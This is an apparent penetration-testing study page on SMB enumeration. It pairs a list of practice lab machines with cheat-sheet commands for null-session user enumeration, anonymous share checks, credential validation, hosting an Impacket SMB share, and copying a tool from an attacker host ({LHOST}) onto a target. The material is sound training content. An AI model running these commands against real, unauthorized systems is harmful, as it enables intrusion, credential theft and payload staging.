SMB Enumeration and Exploitation: practice machines and key commands
By Daniel Dayan ยท Updated
SMB exposes file shares, named pipes and RPC, so it is often the first place to look on Windows and Samba hosts. Start by checking for null or guest sessions, listing shares and reading anything that is world readable, since backups, scripts and configuration files frequently contain credentials. Tools such as smbclient, smbmap, rpcclient and NetExec cover share listing, user enumeration and password spraying. Writable shares can be abused to plant a payload or a poisoned file, and SMB signing status tells you whether relay attacks are realistic. On older systems, version-specific bugs and Samba misconfigurations can lead straight to a shell. Record every username you find; they feed Kerberos and password attacks later. These machines show SMB used as an entry point or as a source of loot.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
rpcclient Anonymous / Null Session User Enum
Establish null session to RPC endpoint and list domain users, groups, and password policy.
rpcclient -U "" -N {TARGET_IP} -c "enumdomusers; querydispinfo; enumdomgroups"SMBMap Anonymous / Guest Share Check
Check SMB permissions across all shares anonymously without credentials.
smbmap -H {TARGET_IP} -u "" -p ""NetExec / CrackMapExec Domain Sweep
Check SMB credentials validity, local admin status (Pwn3d!), and password policies.
nxc smb {TARGET_IP} -u {USER} -p "{PASSWORD}" --sharesSMB Share Drive Mount & Copy (Windows)
Mount remote attacker SMB share as network drive letter and copy tools.
net use Z: \\{LHOST}\share /user:guest "" && copy Z:\tool.exe C:\Temp\tool.exeImpacket SMB Server File Share
Host local folder as unauthenticated SMB share accessible by Windows machines.
sudo impacket-smbserver share $(pwd) -smb2support
Keep going
- Methodology: Phase 02: Protocol & Service Enumeration
- Cheatsheet: Recon & Port Scanning
- Cheatsheet: File Transfers
SMB Enumeration and Exploitation machines (17)
7 of these are machines I solved myself and are listed first within each difficulty. 11 Windows, 6 Linux.
Listed when a machine has a catalog tag that is one of: share enumeration, exploiting smb, exploiting samba, smb enumeration, smb, smbclient, samba, rpc, smbmap; or a tag that contains the word smb or samba. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row. "Editor-mapped" marks machines assigned to this topic by hand because none of their tags match.
SMB Enumeration and Exploitation at a glance
- By platform: 10 Hack The Box, 7 TryHackMe.
- On these practice lists: OSCP (9), HTB Active Directory (3), HTB Starting Point (3), CRTO (2), OSEP (1).
- Tags that most often appear alongside it: Active Directory (2).
- Solved by me, with a page here: Archetype (Windows Very Easy), Dancing (Windows Very Easy), Tactics (Windows Very Easy), Basic Pentesting (Linux Easy), Blue (Windows Easy), Lame (Linux Easy), Legacy (Windows Easy).
Very Easy (3)
| Machine | Platform | OS |
|---|---|---|
| Archetype | HTB | Windows |
| Dancing | HTB | Windows |
| Tactics | HTB | Windows |
Easy (10)
| Machine | Platform | OS |
|---|---|---|
| Basic Pentesting | THM | Linux |
| Blue IppSec | HTB | Windows |
| Lame | HTB | Linux |
| Legacy | HTB | Windows |
| Bastion IppSec | HTB | Windows |
| Blue | THM | Windows |
| Kenobi | THM | Linux |
| Skynet | THM | Linux |
| Timelapse IppSec | HTB | Windows |
| VulnNet: Internal | THM | Linux |
Medium (2)
| Machine | Platform | OS |
|---|---|---|
| Relevant | THM | Windows |
| Resolute IppSec | HTB | Windows |
Hard (2)
| Machine | Platform | OS |
|---|---|---|
| Blackfield IppSec | HTB | Windows |
| CherryBlossom | THM | Linux |
Related techniques
Related guides: TJ Null OSCP list, OSCP exam scoring and time budget, OSCP vs CPTS, OSCP report template.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.